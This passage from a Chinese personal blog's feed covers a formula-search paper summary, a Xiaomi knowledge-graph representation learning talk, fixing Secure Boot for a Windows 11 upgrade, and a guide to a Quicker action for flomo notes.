T_{d}\right)}{\operatorname{leaves}\left(T_{q}\right)+\text { internals }\left(T_{q}\right)} &amp; \text { if } \alpha \neq 0\end{cases}\qquad(5)<br>$$<br>$S_{sy}$是标准化的操作符号集的相似度，计算方式：<br>$$<br>S_{ sy }&#x3D;\frac{1}{1+(1-y)^{2}}\qquad(6)<br>$$<br>其中$y \in[0,1]$，来自另一个算法Mark-and-Cross（Zhong, W., Fang, H.: A novel similarity-search method for mathematical content<br>in LaTeX markup and its implementation. Master’s thesis, University of Delaware）</p><h2 id="总结与思考"><a href="#总结与思考" class="headerlink" title="总结与思考"></a>总结与思考</h2><ul><li><p>这篇文章解决了哪些问题？</p><p>采用匹配叶根路径的方法，度量公式结构的相似度；使用贪心算法提高搜索的效率。</p></li><li><p>如何把公式转化为操作树？</p><p>这篇文章并没有详细描述转化为操作树的过程。查阅了这篇文章所引用的文献，对于将$\LaTeX$转化为树结构的问题，《Recognition and retrieval of mathematical expressions》这篇文章提到了，转化主要还是依靠制订一系列的语法规则。</p></li><li><p>与之前的树相似度算法有何不同？</p><p>考虑时间复杂度和搜索的效率。</p></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;标题：&lt;/strong&gt;Structural Similarity Search for Formulas Using Leaf-Root Paths in Operator Subtrees&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作者：&lt;/strong&gt;Wei Z</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="公式检索" scheme="https://sandship.fun/tags/%E5%85%AC%E5%BC%8F%E6%A3%80%E7%B4%A2/"/>
    
    <category term="操作树" scheme="https://sandship.fun/tags/%E6%93%8D%E4%BD%9C%E6%A0%91/"/>
    
  </entry>
  
  <entry>
    <title>小米在知识图谱表示学习方向的探索和实践</title>
    <link href="https://sandship.fun/post/d115.html"/>
    <id>https://sandship.fun/post/d115.html</id>
    <published>2021-06-30T21:14:32.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p>这篇文章是我给公众号DataFunTalk整理的关于一次报告，初衷还是因为涉猎过一些知识图谱相关的知识，大家一起看看吧~</p><h2 id="导读"><a href="#导读" class="headerlink" title="导读"></a>导读</h2><p>今天为大家带来的分享内容是小米在知识图谱表示学习方向的探索和实践。主要围绕以下四点展开:</p><ol><li>业务介绍 小米知识图谱的架构和业务；</li><li>算法介绍 融合文本和知识图谱的表示学习方法；</li><li>算法应用 知识表示学习在实体链接、实体推荐、知识补全的应用；</li><li>总结 总结和展望；</li></ol><h2 id="业务介绍"><a href="#业务介绍" class="headerlink" title="业务介绍"></a>业务介绍</h2><h3 id="小米知识图谱团队"><a href="#小米知识图谱团队" class="headerlink" title="小米知识图谱团队"></a>小米知识图谱团队</h3><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210614205319.png" alt="小米知识图谱团队"  /><p>小米知识图谱团队，旨在硏究知识图谱在开放领域和行业领域的构建和应用技术，把知识图谱推广到相关的业务场景上。目前团队已经构建了超百亿目前团队已经构建了超百亿的开放知识，以及涉及十多个领域的高质量知识，提供了实体检索、实体链接、概念图谱等高质量的服务，并且服务于小爱同学、小米网、小米信息流等应用方的智能问答、智能客服商品推荐、商品搜索等业务。</p><h3 id="知识图谱为小爱赋能"><a href="#知识图谱为小爱赋能" class="headerlink" title="知识图谱为小爱赋能"></a>知识图谱为小爱赋能</h3><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210614205503.png" alt="知识图谱为小爱赋能"  /><p>这是一个知识图谱为小爱赋能的例子。当用户询问巩俐的籍贯的时候，我们会从库中去给出相应的答案，并且会给出巩俐其他的一些实体信息。那么具体是怎么实现的呢？下面简单介绍一下处理流程。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210614205645.png" alt="处理流程"  /><p>当用户询问一个问题（query）时，语音设备首先会进行语音的识别，然后是意图的识别，比如说问题是“武汉大学周边有什么好吃的？”，它的解答流程就是：</p><ol><li><p>首先通过分析发现用户的意图是想询问”美食“相关的事物；</p></li><li><p>然后通过实体匹配去进行实体的识别，实体的链接以及属性的归一等处理。确定用户询问的是“武汉大学”这个实体相关的推荐实体属性；</p></li><li><p>据此从库中查询相应的结果，并且作为输出；</p></li><li><p>另外我们还会针对该实体做实体的推荐，以此实现相似问题的推荐；</p></li></ol><h2 id="算法介绍"><a href="#算法介绍" class="headerlink" title="算法介绍"></a>算法介绍</h2><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210614221139.png"  /><p>知识表示学习是指基于分布式的表示思想，将实体或者是关系的语义信息映射到低维、稠密、实值的向量空间中，使得语义相似的两个对象之间的距离也很相近。</p><p>常见的表示学习方法是融合事实信息的方法，比如基于翻译、张量分解、神经网络和图神经网络的各种模型，但是在这些大规模知识图谱中存在实体与关系长尾分布的问题，即极少数的个体占极高的数量，而大多数的个体只占了极少的数量。在图谱中，长尾分布体现为很多实体数量极少甚至没有关系事实，这就导致数据存在很严重的稀疏性。</p><p>对于这些长尾的实体和关系，在没有或者很少关系的情况下，仅基于传统的事实三元组（头部，关系，尾部）进行学习，是没有办法得到的。对此有什么解决办法？</p><ol><li>利用知识库中其他的信息，比如说文本描述信息、信息实体类型、关键路径、逻辑规则等，还包括实体的属性、时序信息、图结构等；</li><li>利用知识库外的海量信息，比如说互联网等，包含大量知识库实体和关系的有关的信息；</li><li>知识表示学习的应用，比如说知识图谱内的链接预测，三元组块分类、实体分类等，应用到知识图谱以外的，比如实体链接、实体推荐、关系抽取等；</li></ol><h3 id="融合文本描述的优势"><a href="#融合文本描述的优势" class="headerlink" title="融合文本描述的优势"></a>融合文本描述的优势</h3><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615102729.png" alt="融合文本描述的优势"  /><p>融合文本描述的优势有哪些？</p><ul><li><p>发掘实体之间的语义相关性，精确的语义表述能够提升三元组的可区分性。在上面的例子中我们可以看到{撒贝宁，配偶，李白}，而李白的描述文本中就存在”撒贝宁妻子“这样的关键词。该情境下，融合文本描述的语义信息能够帮助发掘更多的语义之间的相关性；</p></li><li><p>当一些实体对于现有的知识图谱来说是新的，并且仅仅带有描述性信息的时候，传统的知识图谱表示学习方法不能够表示这些新的实体，因为图谱在训练的时候并没有考虑到这个概念，但是融入了文本描述的模型，就能够通过描述信息建立这些实体的表达；</p></li></ul><p>通常将实体的类型、文本描述和重要的三元组按照一定的规则进行拼接，构成一段文本，作为实体的描述文本，这段文本比简单的文本描述包含更多的信息。</p><h3 id="文本与知识图谱对齐"><a href="#文本与知识图谱对齐" class="headerlink" title="文本与知识图谱对齐"></a>文本与知识图谱对齐</h3><p>下面将会介绍两种经典的融合文本和知识图谱的知识表示学习方法，这两种方法都可以将实体向量、关系向量和词向量放到同一个语义空间下。为什么要把文本以及词向量放到一个空间中？因为如果我们遇到了需要同时处理文本和实体的任务，实体和文本中的单词做内积等向量运算才会有意义，依靠这些运算方法我们才能比较实体和文本之间的单词的关系。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615103857.png" alt="文本与知识图谱对齐"  /><p>这一篇文章描述了比较经典的文本与知识图谱对齐的模型Jointly（联合模型），作者先后发表了两篇论文来优化该方法。</p><p>文章研究的内容是融合文本信息到知识图谱中，实现知识图谱中的实体和实体描述文本联合嵌入表示。</p><p>对齐模型的关键在于将实体向量、关系向量和词向量表示在同一个语义空间下。我们要求实体的表示向量不仅满足知识图谱的结构化约束，同时也要被文本描述中的词向量进行约束。</p><p>模型一共分为三个部分：</p><ol><li>文本嵌入，采用skip-gram模型，采用欧式距离衡量两个单词之间的相似性，训练词与词之间的约束；</li><li>知识嵌入，采用是Trans-E模型，训练实体与实体之间的约束；</li><li>对齐，利用文本描述对齐，训练实体和文本之间的约束，确保关系能够和文本的单词在同一个语义空间中。</li></ol><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615105048.png" alt="文本与知识图谱对齐"  /><p>第二篇论文也根据类似的原理，将基于平移的嵌入方法从特定的三元组嵌入扩展到了文本感知模型，提出了名为DKRL的模型。该模型的特点是：</p><ul><li><p>对于事实元组论文采用了典型的Trans-E模型，通过最大似然值获得实体和关系的嵌入；</p></li><li><p>对于描述文本，论文使用了连续词袋模型和深度卷积模型对文本进行嵌入。连续词袋模型忽略了文本的词序，而卷积模型会考虑词序；</p></li></ul><p>对每一个实体，DKRL都会学习语义的嵌入和结构的嵌入，再通过右侧的一系列公式进行拟合。</p><h3 id="需求和实现"><a href="#需求和实现" class="headerlink" title="需求和实现"></a>需求和实现</h3><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615130621.png" alt="需求和实现"  /><p>后续任务需要通过预训练得到词向量，实体向量，并且保证两者之间需要能够计算相似度，同时也要保证实体向量和实体向量之间可以计算相似度。上文介绍的两个模型均可以满足该需求。右上的表格展示了几个不同的模型在链接预测任务上的效果，联合模型，即第一篇论文中的模型展现了较好的效果，于是我们基于该模型对实体和词进行了训练，得到了词向量、关系向量以及实体向量。该模型的效果具体体现在：</p><ul><li><p>由图一（左上） 可以看到”王者荣耀“这个词和”李白“这个候选实体之间的相似度评分，该分数表明模型学习到了词和实体之间的关联；</p></li><li><p>由图二（右上） 可以看到虽然”唐代诗人李白“的文本描述中不存在”将进酒“一词，但是模型也学到了其关联；</p></li><li><p>图三图四（左下和右下）显示，模型也学习到了实体向量与实体向量之间的关系，比如植物”小米“实体向量和水果”苹果“实体向量比较靠近，而”小米公司“的实体向量和”苹果公司“的实体向量比较靠近；</p></li></ul><p>这些特性对完成后续的任务有很大的帮助。</p><h2 id="算法应用"><a href="#算法应用" class="headerlink" title="算法应用"></a>算法应用</h2><h3 id="实体链接"><a href="#实体链接" class="headerlink" title="实体链接"></a>实体链接</h3><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615132930.png" alt="实体链接"  /><p>实体链接把文本中的实体指称项，即实体名称，链接到知识库中对应的实体上。</p><p>举一个例子来帮助大家理解实体链接，比如问题”王者荣耀中的李白有哪些台词？“，为了解答这个问题我们需要：</p><ol><li>识别句子中的核心实体”李白“；</li><li>从库中检索”李白“所有的候选实体；</li><li>实体链接，从众多的是候选实体中找到正确的实体，与句子中的”李白“进行匹配；</li></ol><p>实体链接的难点主要有两个方面：</p><ul><li>实体会有不同的表达方式（mention），比如”青年居士李太白“，也对应了李白这个实体。</li><li>同一个表达方式也会对应不同的实体，比如说”王者荣耀中李白的技能是什么？“，”李白和杜甫并称为什么？“，这两句中实体的表达方式都是“李白”，但是对应了不同的实体。</li></ul><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615133844.png" alt="实体链接"  /><p>左侧图中展示了实体链接的处理流程，这里详细介绍一下实体消歧部分。</p><p>实体消歧包括两个模块，第一个部分是粗排，第二个部分是精排。</p><h4 id="关于粗排"><a href="#关于粗排" class="headerlink" title="关于粗排"></a>关于粗排</h4><p><strong>为什么要做粗排处理？</strong></p><p>在做候选实体生成时，我们希望从库中获取尽可能多的相关实体，确保没有遗漏正确实体。但这样做会导致消歧这一步骤被引入了太多的噪声，造成消歧效率的下降。所以需要粗排模型来降低候选实体的个数。经过实验，粗排后，消歧准确率提升了3%，预测的速度提升了50%，而召回率仅仅下降了0.4%。</p><p>举个例子，比如“王者荣耀中的李白有哪些台词？“这个问题，在我们的库中”王者荣耀“的候选实体有71个，”李白“的候选实体有59个。在粗排时，我们会为每一个候选实体进行打分，按照相关度从大到小进行排列，选择每一个mention所对应的最相似的n个实体(Top n)，作为精排的输入。</p><p><strong>如何实现粗排？</strong></p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615135927.png" alt="关于粗排"  /><p>粗排模型，要求高精度、高性能。我们采用了上一节中融合多元信息知识表示学习方法所训练得到的实体向量和词向量，因为他们处在同一个向量空间中，我们可以对其进行向量计算。定义了三个特征，分别是Context和Coherence以及LinkCount：</p><ul><li><p>Context 表示mention的上下文特征，它通过候选实体向量和问题中的每一个词向量进行乘积运算得到，用于发现问题中哪些词和候选实体相关。获取该特征的流程为：首先利用head attention选择Top R个词向量，通过softmax函数求这些词向量的相似度分数权重，所得的权重与其对应的词向量进行加权，作为问题的上下文向量表示，该向量与候选实体向量进行相乘，得到上下文特征；</p></li><li><p>Coherence 表示实体的一致性，通过计算候选实体和问题中不同mention的候选实体相关性来实现。每一个mention的候选实体仅保留一个，求取平均值作为Coherence的特征；</p></li><li><p>LinkCount 表示实体的先验知识，通过标注数据而来。计算的方法是mention链接到该实体的次数除以mention出现的次数；</p></li></ul><p>利用一个多层感知机对这三个特征进行融合，最终得到每一个候选实体的粗排分数。</p><h4 id="关于精排"><a href="#关于精排" class="headerlink" title="关于精排"></a><strong>关于精排</strong></h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615142806.png" alt="关于精排"></p><p>在粗排之后，每一个mention的候选实体个数被大大降低，此时我们会对这些实体进行精排处理。精排模型中，我们利用Bert构建一个句子对二分类模型，用来判断候选实体和问题中的mention相关度。具体流程如下：</p><ol><li>该模型的输入是一个句子对，text_a是标记了mention位置的文本，text_b是候选实体的描述文本。句子对经过Bert编码之后取[CLS]向量，再经过全连接层，得到上下文特征；</li><li>合并粗排的三个特征进行全连接的融合训练；</li><li>对候选实体进行二次排序；</li><li>预测，选择Top 1的实体作为mention链接的实体；</li></ol><p>同时对训练进行了一些优化，利用知识图谱中的关系三元组构建消歧的样本，关系三元组包括头实体、关系和尾实体。头实体和尾实体有多种表达方式（mention），利用这些不同的表达方式，我们可以去构建大量的正负样本，来帮助我们去学习mention和实体之间的语义特征关系，只需要少量经过标注的线上问题，就可以达到较好的消歧效果。</p><h3 id="实体推荐"><a href="#实体推荐" class="headerlink" title="实体推荐"></a>实体推荐</h3><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615143943.png" alt="实体推荐"></p><p>这两张图展示了实体推荐的应用场景，实体推荐是根据给定的实体推荐一系列相关的实体。我们对实体推荐的工作暂时还处于起步的阶段，并没有考虑复杂的个性化推荐，目前只关注实体之间的相似度。</p><p>左图展示了实体链接如何应用于智能问答问题推荐，问题通过SLU处理之后会得到其意图和主实体，然后借助实体推荐得到相关的实体，相关实体被用来构建相关的问题，比如说”武汉大学周边好吃的？“，识别到其主实体为”武汉大学“、核心意图为”美食“，以此推荐实体相关的问题，比如说”华中科技大学周边有什么好吃的？“，”清华大学周边有什么好吃的？“，”武汉科技大学周边有什么好吃的？“。同时实现了推荐意图相关的问题，比如说”武汉大学周边有什么好玩的？“，”武汉大学周边有什么景点？“，”武汉大学周边有什么酒店？“等等。</p><p>右图展示了实体推荐在SS图谱自动化构建平台上的应用，当用户搜索一个实体的时候，平台会为其推荐相关的实体。</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615145109.png" alt="实体推荐在SS图谱自动化构建平台上的应用"></p><p>实体推荐的难点在于”冷启动问题“，即如何去寻找实体的相关实体。</p><p>我们发现百科页面关系三元组以及新闻中的共享实体，都可以作为相关实体进行推荐。于是我们对百科页面知识图谱中的关系三元组和经过实体链接处理的新闻中的实体进行抽取，以类别为标准进行筛分，作为实体推荐模型的正样本。而负样本可以从库中的其他实体中抽取。</p><p>实体推荐模型分为两个部分，表示模型和匹配模型：</p><ul><li><p>表示模型  利用第二节中的DKRL模型进行知识表示学习。学习关系三元组中的结构化信息，编码部分使用Bert进行替换；</p></li><li><p>匹配模型  利用DSSSM模型，复用了表示模型中学习到的参数，将两个实体编码成向量，通过计算余弦相似度来去衡量两个实体之间的相关度；</p></li></ul><h3 id="知识补全"><a href="#知识补全" class="headerlink" title="知识补全"></a>知识补全</h3><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615150143.png" alt="知识补全"></p><p>在构建知识图谱时，需要从半结构化或者非结构化数据中抽取三元组，但这些三元组难免会存在信息缺失情况，比如左图中，小米代表人物中林斌、王翔等人，都缺失了超链接，撒贝宁配偶、父母、妹妹倒也都缺失了超链接，这就导致在构建知识图谱时，不能获取完整的关系三元组。</p><p>实体补全任务可以概括为：针对已知的头实体、关系和尾实体mention的情况下，关联库中的实体以补全三元组。我们的设计方案如下：</p><ol><li><p>利用Schema去限定尾实体的类别；</p></li><li><p>通过尾实体的mention筛选得到尾实体的候选实体，构造三元组；</p></li><li><p>通过三元组分类模型判断构造的三元组是否正确；</p></li><li><p>经过对这些三元组的分数进行排序之后，选择Top 1且预测正确的三元组；</p></li></ol><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615151115.png" alt="知识补全"></p><p>三元组的构建也考虑了描述实体的文本，我们再次利用了神通广大的BERT完成模型的构建，参考了KG-BERT这篇论文。</p><p>将已知的关系三元组如上图所示进行构造，text_a是头实体的描述文本，text_b是关系的文本名称，text_c是尾实体的描述文本，这些输入经过BERT的编码之后，再经过一个全连接层，计算得到语义特征，并和另外一个结构化的特征进行融合，最终得到一个评价分数。这里的”结构化特征“由蓝色框中的方程进行表示，整个模型的loss，可以用红色框中的方程表示。</p><p>举个例子，比如判断三元组{撒贝宁，配偶，李白}是否正确，”李白“的第一个候选实体是正确的，可以作为正样本，其他实体都是负样本，然后对模型进行训练，预测每一对自动构建的三元组的分数，按照从大到小的顺序进行排序，选择分数大于0.5且Top 1的三元组作为正确的三元组，补充到知识图谱当中。</p><h2 id="总结与展望"><a href="#总结与展望" class="headerlink" title="总结与展望"></a>总结与展望</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615152939.png" alt="总结与展望"></p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210615152904.png" alt="参考文献"></p><h2 id="Q-amp-A"><a href="#Q-amp-A" class="headerlink" title="Q&amp;A"></a>Q&amp;A</h2><p>Q：在实体链接的过程中，它的正负样本的比例是什么？</p><p>A：1:3~1:5。</p><p>Q：这个比例是如何确定的？</p><p>A：这是通常情况下会选取的比例。</p><p>Q：负样本的选取是随机的还是有其他策略？</p><p>A：采用动态负采样，然后将模型每一次学错的样本，放入到我们采样的副样本中，进行下一轮的迭代，让他去学习，用这种策略去加强模型对于预测错误样本的一些纠正。</p><p>Q：在知识补全过程中，评测指标是什么？</p><p>A：最重要是准确率，我们这边入库的标准就是要在95%以上，人工评测之后95%以上我们大概才会考虑入库。而召回率很难考量。</p><p>Q：知识补全举的例子是之前已经存在于知识库的，这个补全的信息是如何取得的？</p><p>A：训练的是已经存在知识图谱中的关系三元组，但是做预测的时候，我们仅仅只知道头实体关系以及尾实体的mention。</p><p>Q：实体链接和推理任务的区别在哪里？</p><p>A：实体链接是匹配库中的实体，这不算是一个推理过程，最多只能算一个匹配的过程。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;这篇文章是我给公众号DataFunTalk整理的关于一次报告，初衷还是因为涉猎过一些知识图谱相关的知识，大家一起看看吧~&lt;/p&gt;
&lt;h2 id=&quot;导读&quot;&gt;&lt;a href=&quot;#导读&quot; class=&quot;headerlink&quot; title=&quot;导读&quot;&gt;&lt;/a&gt;导读&lt;/h2&gt;&lt;p&gt;今天</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="知识图谱" scheme="https://sandship.fun/tags/%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1/"/>
    
    <category term="表示学习" scheme="https://sandship.fun/tags/%E8%A1%A8%E7%A4%BA%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>为什么我的电脑不能装Win11？</title>
    <link href="https://sandship.fun/post/88d2.html"/>
    <id>https://sandship.fun/post/88d2.html</id>
    <published>2021-06-28T20:32:03.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p>最近微软更新了win11，对于比较喜欢尝试新东西的我，当然想试一试。于是下了官方提供的检测软件<code>电脑运行状况概览</code>，结果提示我不能够升级！我的电脑配置完全满足最低配置要求，而且也支持网上说的TPM2.0。但是这个程序就是告诉我不符合要求，也没说哪里不符合要求😒然后看到了一个网友的说，中文环境下这个程序就是显示不全，要切换到英文环境才可以…试了一下果然是这样，提示我电脑不支持Secure boot。进BIOS改成了secure boot，结果</p><p><strong>电脑直接启动不了了！！</strong></p><p>还好我所有的文件都有备份到云，就是为什么会不能开机呢？原来是我电脑磁盘的分区表是MBR格式，要想用secure boot必须是GPT格式的分区表。我试了一下百度到的命令行方法，不行。下载了DISKGENIUS改格式，也不行。最后试了一下傲梅分区助手的一键转换格式，原来是我的分区设置有问题，两个分区都是<strong>主分区</strong>，想要转换为GPT格式必须只有一个<strong>主分区</strong>，吐槽一下DISKGENIUS，并没有提示到这一点。用傲梅助手分区助手把其中一个分区转换成逻辑分区，再转换分区表，设备启动顺序里找到UEFI:HardDisk这一项，放到最前面，打开secure boot，开机成功！然后运行检测软件，噔<del>噔噔</del></p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210628205927.png" alt="成功的画面"></p><blockquote><p>总结一下，你的电脑必须满足四个条件：</p><ol><li>最低配置要求</li><li>支持TPM2.0</li><li>支持secure boot</li><li>磁盘为GPT格式（3的前提条件）</li></ol></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近微软更新了win11，对于比较喜欢尝试新东西的我，当然想试一试。于是下了官方提供的检测软件&lt;code&gt;电脑运行状况概览&lt;/code&gt;，结果提示我不能够升级！我的电脑配置完全满足最低配置要求，而且也支持网上说的TPM2.0。但是这个程序就是告诉我不符合要求，也没说哪里不符</summary>
      
    
    
    
    <category term="技巧" scheme="https://sandship.fun/categories/%E6%8A%80%E5%B7%A7/"/>
    
    
    <category term="windows" scheme="https://sandship.fun/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>flomo NOW——快速创建flomo笔记</title>
    <link href="https://sandship.fun/post/73ed.html"/>
    <id>https://sandship.fun/post/73ed.html</id>
    <published>2021-05-22T23:41:46.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="关于Quicker"><a href="#关于Quicker" class="headerlink" title="关于Quicker"></a>关于Quicker</h2><p><a href="https://getquicker.net/">Quicker</a>是我一直都在使用的工具软件。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210523194705.png" alt="我的Quicker界面" style="zoom:80%;" /><p>上图是我的Quicker操作界面，简单概括一下这个软件：我们可以在Quicker中自己编辑“动作”或者使用他人编辑好的“动作”，简单到打开一个软件，复杂到使用Quicker进行文字识别。至于价格，免费版的Quicker会有动作个数限制，专业版（￥56一年）没有限制而且多了很多稀奇古怪的功能。</p><p>我一直不遗余力的向身边的同学安利Quicker，因为它给我带来了巨大的效率提升，而且我不必为了OCR装OCR软件，为了划词翻译而装划词翻译软件，各种功能都能在Quciker中实现🤣</p><h2 id="关于flomo"><a href="#关于flomo" class="headerlink" title="关于flomo"></a>关于flomo</h2><p><a href="https://flomoapp.com/">flomo · 浮墨笔记</a>是我的女朋友跟我推荐的一款笔记工具，语雀虽然已经很好的帮我储存了我的文章，但却有着十分糟糕的速记体验，而flomo相比于语雀“知识库”的定位，更像是一个“灵感库”，用卡片记录思考，用标签分类卡片，非常适用于速记和回顾。</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/%E5%9B%BE%E7%89%87.png" alt="flomo的多端体验"></p><h2 id="关于flomo-NOW"><a href="#关于flomo-NOW" class="headerlink" title="关于flomo NOW"></a>关于flomo NOW</h2><p>产生编辑这个Quicker动作的想法主要来于<strong>我❤女朋友在用flomo！</strong></p><p>它融入了我对笔记产品的一些粗浅思考</p><p>🎈如果你还没有flomo账号，可以试着注册一下，这里是我的邀请码<code>ODE3NjM</code></p><p>来看看我这个小工具的食用指南吧😊</p><h2 id="flomo-NOW食用指南"><a href="#flomo-NOW食用指南" class="headerlink" title="flomo NOW食用指南"></a>flomo NOW食用指南</h2><h3 id="软件下载-amp-动作安装"><a href="#软件下载-amp-动作安装" class="headerlink" title="软件下载&amp;动作安装"></a>软件下载&amp;动作安装</h3><p>在<a href="https://getquicker.net/">Quicker</a>的主页下载并安装适合你的Quick版本，下载完成后记得设置你的Quicker<strong>快捷键</strong>，比如我的快捷键是鼠标侧键。使用快捷键可以快速地调出Quicker的界面或者快速使用特定的动作。另外，建议保持Quiker开机运行。</p><p>接下来在动作库中搜索“flomo NOW”或者直接点击<a href="https://getquicker.net/Sharedaction?code=d8de6a72-bc82-4c7d-32f5-08d91d10afcd&fromMyShare=true">链接</a>跳转到本动作的页面</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210527104725.png" alt="每次更新动作都会审核……"></p><p>选择将动作复制到剪贴板，在Quicker主界面的空白按钮处右键，选择<strong>粘贴分享的动作</strong></p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210524094708.png" alt="安装动作" style="zoom:50%;" /><h3 id="获取你的flomo-API"><a href="#获取你的flomo-API" class="headerlink" title="获取你的flomo API"></a>获取你的flomo API</h3><p>成功注册flomo账号之后，我们可以在如图所示的入口找到flomo提供的API</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210523010615.png" alt="获取API入口" style="zoom:50%;" /><p>文本框中的网址就是我们需要用到的API</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210523010920.png" alt="记录API" style="zoom:50%;" /><h3 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h3><p>初次使用flomo NOW会提醒你输入flomo的API以及默认的标签，其中</p><ul><li>API为上文提到的网址；</li><li>多个标签之间可以使用空格进行分隔。</li></ul><h3 id="划词模式"><a href="#划词模式" class="headerlink" title="划词模式"></a>划词模式</h3><blockquote><p>划词模式曾经可以一键划词并记录，但在后续的某一次更新中，我让这个操作路径适当延长了。</p></blockquote><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210624102614.gif" alt="划词模式" style="zoom:80%;" /><p>你还可以右键flomo NOW打开自己的flomo主页，查看自己保存的笔记，或者使用flomo的界面保存图片（目前flomo的API还不支持图片）</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210527104920.png" alt="打开个人主页"></p><h4 id="Tips"><a href="#Tips" class="headerlink" title="Tips"></a>Tips</h4><ul><li><p>划词模式下，所有笔记都使用默认Tag，可以右键动作→配置信息进行修改。</p></li><li><p>在网页中时，划词模式会返回该网页的网址，结构如下图</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210523014521.png" alt="划词模式产生的默认卡片形式" style="zoom:80%;" /></li></ul><h3 id="创作模式"><a href="#创作模式" class="headerlink" title="创作模式"></a>创作模式</h3><p>不选择任何文字直接点击flomo NOW会启动创作模式，输入方式和flomo一样。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210624103430.gif" alt="创作模式" style="zoom:67%;" /><h4 id="识别"><a href="#识别" class="headerlink" title="识别"></a>识别</h4><blockquote><p>想做这个功能的原因主要有两个，第一是有时候我会用电脑端的微信读书<del>摸鱼</del>；其次是有些文字内容可能本来就是图片，比如微博的长图。这时候就需要动用OCR识别文字了，由于使用的是基础版API，<strong>不能保证识别的准确性</strong>。</p></blockquote><p>在创作模式中点击文本识别→框选想要识别的文字→在编辑器中修改结果（修改错误，添加标签）→完成。</p><h4 id="灵感（可写的事）"><a href="#灵感（可写的事）" class="headerlink" title="灵感（可写的事）"></a>灵感（可写的事）</h4><blockquote><p>算是一个彩蛋吧，灵感来自于《642件可写的事》，这本书我买了之后一篇都没有写…试着把它搬到了flomo NOW中，看看能不能激励一下创作。</p></blockquote><p>点击创作模式中的灵感，对话框会随机给出一条tag，试着照他说的写吧~</p><h4 id="解析"><a href="#解析" class="headerlink" title="解析"></a>解析</h4><blockquote><p>希望我对其他事物的评价，也能存在我的知识库中，所以做了网址解析功能，为评价做个引子。</p></blockquote><p>目前支持两个网站：B站（个人UP主上传的视频），豆瓣（书籍和影视），使用方法都是复制链接粘贴进对话框。</p><h3 id="memo计数（角标）"><a href="#memo计数（角标）" class="headerlink" title="memo计数（角标）"></a>memo计数（角标）</h3><blockquote><p>这个想法来源于各种游戏的成就系统以及flomo分享下的关于memo个数和使用天数描述，想让大家感受到使用flomo NOW记录笔记的频率，或许也能激励大家更多的思考和记录。</p></blockquote><p>memo计数功能默认是开启的，你会在动作右上角看到memo计数的角标。当然，如果你不喜欢它，可以在配置中关闭。</p><h3 id="快捷键（可选的）"><a href="#快捷键（可选的）" class="headerlink" title="快捷键（可选的）"></a>快捷键（可选的）</h3><p>如果你的快捷键还有空余的话，可以右键flomo NOW→信息→全局快捷键，给flomo NOW绑定一个快捷键，这样就可以不用调出Quicker界面直接使用该动作了。</p><h2 id="更新日志"><a href="#更新日志" class="headerlink" title="更新日志"></a>更新日志</h2><ul><li>5.23 添加了OCR模式，更改了一些说明和图片，更改动作名称和图标，更新创作模式的交互。</li><li>5.24 更改OCR模式的交互入口，增加“可写的事”，随机生成一个可以展开叙述的主题。</li><li>5.27 “可写的事”更名为“灵感”，现在统一在配置菜单管理和修改灵感；增加了【memo计数】，默认在动作右上角显示使用flomo NOW记录的memo数，可以在配置菜单关闭；修改了一些创作模式的图标和介绍，让他们看起来更统一且明了。</li><li>6.03 更新网址解析：目前支持解析B站个人UP主上传的视频；豆瓣影视和书籍的解析。</li><li>6.22 更新个人主页的容器，现在统一使用Edge或Chrome的APP模式，更精简、更快速。</li><li>6.23 